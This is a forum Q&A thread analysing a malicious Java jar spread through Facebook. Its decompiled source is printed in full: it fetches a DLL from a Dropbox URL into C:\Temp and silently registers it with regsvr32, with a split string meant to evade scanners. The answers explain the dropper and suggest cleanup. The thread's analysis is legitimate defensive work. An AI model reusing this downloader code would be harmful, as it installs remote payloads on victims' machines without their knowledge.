Can anyone explain the following piece of anonymous/mischief code for windows?

Question

Warning:

DO NOT EXECUTE THIS CODE ON ANY MACHINE. IT COULD BE A MALICIOUS CODE

Hi, I got a file on fb, from someone which obviously looked like a virus. So I downloaded it happy that I am not on Windows.

I scanned it on virustotal, and it said this file was just scanned sometime ago meaning this file has been circulating a while. I scanned it still and virustotal says its clean.

So its Zip file, with a jar file and when I decompiled the .class file in jar file to java code, it had hardcoded strings to C:\ drive and a dropbox url to download a dat file. Then uses regsvr to do some registry level changes.

So, on that note it was nicely concealed with an innocent jar file. But even the downloaded module.dat file looks to virus free according to virustotal

Manifest File:

Manifest-Version: 1.0
Created-By: 1.7.0_45 (Oracle Corporation)
Main-Class: IMG_00045

But can someone explain what this code does exactly ? before moving down to code..

The dat file seems to be having this :

PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.URL;

public class IMG_00045
{
  public static void main(String[] paramArrayOfString)
    throws Exception
  {
    String str1 = "C:\\T";
    str1 = str1.concat("emp");
    File localFile1 = new File(str1);
    localFile1.mkdir();
    File localFile2 = new File("C:\\Temp\\asdfr1.dat");
    if (localFile2.exists())
    {
      proc();
    } else {
      String str2 = "http://dl.dropboxusercontent.com/s/4w59212euubbjd8/module.dat?dl=1";
      String str3 = "C:\\Temp\\asdfr1.dat";
      dl(str2, str3);
    }
  }

  public static void proc()
    throws IOException
  {
    int i = 1;
    while (i < 7)
    {
      bala();
      i++;
    }
  }

  public static void bala()
    throws IOException
  {
    String[] arrayOfString = { "regsvr32", "/s", "C:\\Temp\\asdfr1.dat" };
    Runtime localRuntime = Runtime.getRuntime();
    Process localProcess = localRuntime.exec(arrayOfString);
  }

  public static void dl(String paramString1, String paramString2)
    throws IOException
  {
    URL localURL = new URL(paramString1);
    FileOutputStream localFileOutputStream = new FileOutputStream(paramString2);
    byte[] arrayOfByte = new byte[250000];

    InputStream localInputStream = localURL.openStream();
    int i;
    while ((i = localInputStream.read(arrayOfByte)) != -1)
      localFileOutputStream.write(arrayOfByte, 0, i);
    localInputStream.close();
    localFileOutputStream.close();
    proc();
  }
}

Can someone explain about What is a PE32 dll? Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ? and I am not much aware of regsvr codes.. What is it doing with respect to the registry entries and the dlls involved [I have provided the link below which is an analysis of the dat file contents] (without executing it :))

I also have the dat file analysis link for someone to look into the registry, dlls, locks involved

https://malwr.com/analysis/ZjIzNDczYTA3OWUyNDY2MTkxNDBhNzI2OWY0MmEzZjM/

Answer 1

I also received this content yesterday and unfortunately I ran this jar file. it triggered the same attachment to persons in my contact list. I had a glance at the class file using java decompiler and found the same given above.

Its actually trying to download the DAT file and trying to register it using regsvr32. but, there is an error while registering that. I got to know when i intentionally tried to register it to know what is the key under which it would install. DLL register is not working.

But, one big problem with this virus is, it is getting transmitted to all the users in our contact list and trying to circulate itself.

As of now, the DAT file is unavailable(it is downloaded from DROPBOXUSERCONTENT.com). due to high traffic, the file access is denied now.

Solution : Try to remove the file and folder "C:\TEMP\ASDFR1.dat". File gets deleted easily, but folder deletion might not work. In that case, try to restore ur system. After that i was able to delete the folder.

Please let me know if I need to do anything more.

Answer 2

The code downloads a file from external dropbox account and register it in the system. The file is DLL library. The DLL is stored in C:\Temp folder.

Question: Can someone explain about What is a PE32 dll? http://en.wikipedia.org/wiki/Portable_Executable

Question: Why has the developer create the directory using two strings? (T + emp) may be scanners check for this type of strings ?

An attacker prevents a signature detecting.

Question: What is it doing with respect to the registry entries and the dlls involved?

An attacker uses the fact that any application searches required dlls in determined order. The first location is a current folder.

The attacker scenario: user runs any application from C:\Temp folder. If the application uses methods from namesake DLL, it finds malicious DLL first and executes its code.